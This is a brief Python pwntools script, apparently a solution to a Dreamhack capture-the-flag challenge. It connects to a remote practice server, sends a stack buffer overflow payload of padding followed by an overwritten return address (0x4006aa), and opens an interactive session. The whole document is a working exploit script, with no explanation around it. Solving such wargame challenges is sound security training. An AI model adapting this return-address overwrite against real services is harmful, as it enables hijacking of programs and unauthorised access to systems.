from pwn import *

p = remote('host3.dreamhack.games',18210)

payload = b'A'*0x30 + b'B'*0x8 + p64(0x4006aa)

p.sendlineafter('Input:',payload)

p.interactive()